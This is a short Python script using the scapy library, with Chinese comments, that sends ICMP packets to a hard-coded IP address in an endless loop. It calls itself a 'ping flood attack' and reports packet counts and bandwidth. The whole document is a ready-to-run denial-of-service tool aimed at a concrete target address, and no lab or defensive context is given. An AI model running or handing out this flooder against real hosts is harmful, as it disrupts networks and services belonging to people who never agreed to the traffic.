from scapy.all import * import time def ping_flood(target, packet_size=64): packet = IP(dst=target) / ICMP() # ICMP 包 count = 0 # 初始化包计数器 total_bytes = 0 # 初始化总字节计数器 start_time = time.time() # 记录开始时间 print(f"开始对 {target} 进行 Ping 洪水攻击...") try: while True: send(packet, verbose=0) # 发送包,设置 verbose=0 禁止详细输出 count += 1 total_bytes += packet_size # 每发送 1000 个包显示一次统计信息 if count % 1000 == 0: elapsed_time = time.time() - start_time print(f"已发送 {count} 个包,总计 {total_bytes} 字节,用时 {elapsed_time:.2f} 秒。") except KeyboardInterrupt: # 处理 Ctrl+C 停止程序 elapsed_time = time.time() - start_time print(f"\nPing 洪水攻击已停止。共发送 {count} 个包,总计 {total_bytes} 字节,用时 {elapsed_time:.2f} 秒。") print(f"平均速率: {count / elapsed_time:.2f} 个包/秒。") print(f"平均带宽: {(total_bytes * 8) / (elapsed_time * 1_000_000):.2f} Mbps。") if __name__ == "__main__": target_ip = "172.67.221.55" # 替换为你要测试的目标IP ping_flood(target_ip)